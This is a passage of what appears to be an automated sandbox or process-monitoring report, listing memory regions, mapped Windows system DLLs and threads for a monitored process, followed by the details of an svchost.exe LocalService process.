0x3810000 end_va = 0x388ffff entry_point = 0x0 region_type = private name = "private_0x0000000003810000" filename = "" Region: id = 2282 start_va = 0x38b0000 end_va = 0x39affff entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Region: id = 2283 start_va = 0x39b0000 end_va = 0x3a6ffff entry_point = 0x39b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2284 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2285 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2286 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2287 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2288 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2289 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2290 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2291 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2292 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2293 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2294 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2295 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2296 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2297 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2298 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2299 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2300 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2301 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2302 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2303 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2304 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2305 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2306 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2307 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2722 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 2723 start_va = 0x300000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2724 start_va = 0x3a70000 end_va = 0x3b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a70000" filename = "" Region: id = 2725 start_va = 0x3c10000 end_va = 0x3d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c10000" filename = "" Region: id = 2726 start_va = 0x3d90000 end_va = 0x3e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d90000" filename = "" Region: id = 2727 start_va = 0x3e90000 end_va = 0x3f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e90000" filename = "" Region: id = 2728 start_va = 0x3f90000 end_va = 0x418ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 2729 start_va = 0x42e0000 end_va = 0x435ffff entry_point = 0x0 region_type = private name = "private_0x00000000042e0000" filename = "" Region: id = 2730 start_va = 0x4360000 end_va = 0x475ffff entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 2731 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2732 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2733 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2734 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2735 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2736 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2737 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2738 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2739 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2740 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2741 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2742 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2743 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2744 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2745 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2746 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2770 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2771 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2772 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2773 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Thread: id = 146 os_tid = 0x530 Thread: id = 147 os_tid = 0x77c Thread: id = 150 os_tid = 0x460 Thread: id = 151 os_tid = 0x52c Thread: id = 153 os_tid = 0x2b4 Thread: id = 154 os_tid = 0x760 Thread: id = 155 os_tid = 0x214 Thread: id = 157 os_tid = 0xb70 Thread: id = 158 os_tid = 0xb7c Thread: id = 178 os_tid = 0x28c Thread: id = 179 os_tid = 0x878 Thread: id = 180 os_tid = 0xb74 Thread: id = 185 os_tid = 0xb60 Thread: id = 187 os_tid = 0xb50 Thread: id = 189 os_tid = 0xb3c Thread: id = 252 os_tid = 0x9d8 Process: id = "22" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7c6f000" os_pid = "0x11c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "21" os_parent_pid = "0x330" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c3" [0xc000000f], "LOCAL" [0x7] Region: id = 2139 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2140 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2141 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2142 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2143 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2144 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2145 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2146 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2147 start_va = 0xf0000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2148 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2149 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2150 start_va = 0x280000 end_va = 0x290fff entry_point = 0x280000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2151 start_va = 0x2a0000 end_va = 0x2a3fff entry_point = 0x2a0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 2152 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 2153 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2154 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2155 start_va = 0x3d0000 end_va = 0x48ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 2156 start_va = 0x490000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2157 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 2158 start_va = 0x550000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 2159 start_va = 0x560000 end_va = 0x6e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 2160 start_va = 0x6f0000 end_va = 0x870fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 2161 start_va = 0x880000 end_va = 0xc72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 2162 start_va = 0xc90000 end_va = 0xd0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 2163 start_va = 0xd20000 end_va = 0xd9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 2164 start_va = 0xda0000 end_va = 0xe1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 2165 start_va = 0xe80000 end_va = 0xefffff entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 2166 start_va = 0xf10000 end_va = 0xf8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 2167 start_va = 0xf90000 end_va = 0x100ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 2168 start_va = 0x1030000 end_va = 0x10affff entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 2169 start_va = 0x10c0000 end_va = 0x138efff entry_point = 0x10c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2170 start_va = 0x13c0000 end_va = 0x143ffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 2171 start_va = 0x1440000 end_va = 0x153ffff entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 2172 start_va = 0x1650000 end_va = 0x174ffff entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 2173 start_va = 0x17a0000 end_va = 0x181ffff entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 2174 start_va = 0x1820000 end_va = 0x189ffff entry_point = 0x0 region_type = private name = "private_0x0000000001820000" filename = "" Region: id = 2175 start_va = 0x18a0000 end_va = 0x195ffff entry_point = 0x18a0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2176 start_va = 0x1990000 end_va = 0x199ffff entry_point = 0x0 region_type = private name = "private_0x0000000001990000" filename = "" Region: id = 2177 start_va = 0x1a30000 end_va = 0x1a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 2178 start_va = 0x1a80000 end_va = 0x1afffff entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 2179 start_va = 0x1b20000 end_va = 0x1b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b20000" filename = "" Region: id = 2180 start_va = 0x1c30000 end_va = 0x1caffff entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 2181 start_va = 0x1d70000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 2182 start_va = 0x1df0000 end_va = 0x1eeffff entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 2183 start_va = 0x1f50000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2184 start_va = 0x2070000 end_va = 0x207ffff entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 2185 start_va = 0x2150000 end_va = 0x21cffff entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 2186 start_va = 0x2200000 end_va = 0x227ffff entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 2187 start_va = 0x2280000 end_va = 0x247ffff entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 2188 start_va = 0x745d0000 end_va = 0x745d2fff entry_point = 0x745d0000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 2189 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2190 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2191 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2192 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2193 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2194 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2195 start_va = 0xffc20000 end_va = 0xffc2afff entry_point = 0xffc20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2196 start_va = 0x7fef58b0000 end_va = 0x7fef5987fff entry_point = 0x7fef58b0000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 2197 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2198 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2199 start_va = 0x7fef6e00000 end_va = 0x7fef6e18fff entry_point = 0x7fef6e00000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 2200 start_va = 0x7fef6fc0000 end_va = 0x7fef6fcffff entry_point = 0x7fef6fc0000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 2201 start_va = 0x7fef6fd0000 end_va = 0x7fef6fe1fff entry_point = 0x7fef6fd0000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 2202 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2203 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2204 start_va = 0x7fef8a90000 end_va = 0x7fef8aa8fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2205 start_va = 0x7fef8ab0000 end_va = 0x7fef8ac4fff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2206 start_va = 0x7fef8b10000 end_va = 0x7fef8b8bfff entry_point = 0x7fef8b10000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 2207 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2208 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2209 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2210 start_va = 0x7fef97e0000 end_va = 0x7fef97e9fff entry_point = 0x7fef97e0000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 2211 start_va = 0x7fefb590000 end_va = 0x7fefb59afff entry_point = 0x7fefb590000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2212 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2213 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2214 start_va = 0x7fefb6b0000 end_va = 0x7fefb716fff entry_point = 0x7fefb6b0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2215 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2216 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2217 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2218 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2219 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2220 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2221 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2222 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2223 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2224 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = 